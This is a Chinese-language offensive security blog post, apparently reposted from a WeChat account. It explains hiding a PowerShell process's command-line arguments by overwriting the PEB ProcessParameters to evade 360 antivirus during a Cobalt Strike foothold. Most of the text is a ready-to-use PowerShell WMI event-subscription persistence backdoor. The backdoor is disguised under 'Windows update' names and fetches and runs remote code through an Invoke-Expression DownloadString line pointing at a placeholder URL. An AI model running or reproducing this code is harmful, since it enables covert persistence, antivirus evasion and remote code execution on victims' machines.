目录:
一:原理
二:实验步骤
三:免杀效果
四:实验步骤
作者:an1m0re7@深蓝攻防实验室
1:原理
PEB结构中ProcessParameters是命令行参数,通过在内存中获取到ProcessParameters的地址,进行覆盖,替换参数。peb结构:https://docs.microsoft.com/en-us/windows/win32/api/winternl/ns-winternl-peb
2:实验步骤
1、首先创建一个powershell进程,参数为任意(不被360查杀),此处我未加参数。 2、获取到peb地址。
3、获取到peb结构中ProcessParameters地址,使用wpm函数进行替换。
3:免杀效果
查看进程参数发现显示的还是powershell.exe 没有参数。
4:持久化
可以配合wmi订阅事件后门做持久化。可以bypass 360
$TimerArgs = @{
IntervalBetweenEvents = ([UInt32] 2000) # 30 min
SkipIfPassed = $False
TimerId ="Trigger" };
$Timer = Set-WmiInstance -Namespace root/cimv2 -Class __IntervalTimerInstruction -Arguments $TimerArgs;
$EventFilterArgs = @{
EventNamespace = 'root/cimv2'
Name = "Windows update trigger"
Query = "SELECT * FROM __TimerEvent WHERE TimerID = 'Trigger'"
QueryLanguage = 'WQL' };
$Filter = Set-WmiInstance -Namespace root/subscription -Class __EventFilter -Arguments $EventFilterArgs;
write-output 'Invoke-Expression(New-Object System.Net.WebClient).DownloadString("http://xxxxxxx/a")' |out-file -filepath 'c:xxx.ps1'
$FinalPayload = 'c:agu.exe http://xxxxxxxx/a'
$CommandLineConsumerArgs = @{
Name = "Windows update consumer"
CommandLineTemplate = $FinalPayload
};
$Consumer = Set-WmiInstance -Namespace root/subscription -Class CommandLineEventConsumer -Arguments $CommandLineConsumerArgs;
$FilterToConsumerArgs = @{
Filter = $Filter
Consumer = $Consumer
};
$FilterToConsumerBinding = Set-WmiInstance -Namespace root/subscription -Class __FilterToConsumerBinding -Arguments $FilterToConsumerArgs;
可以配合wmi订阅事件后门做持久化。可以bypass 360
本文始发于微信公众号(谢公子学安全):cs上线-自定义powershell参数污染-bypass杀软
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论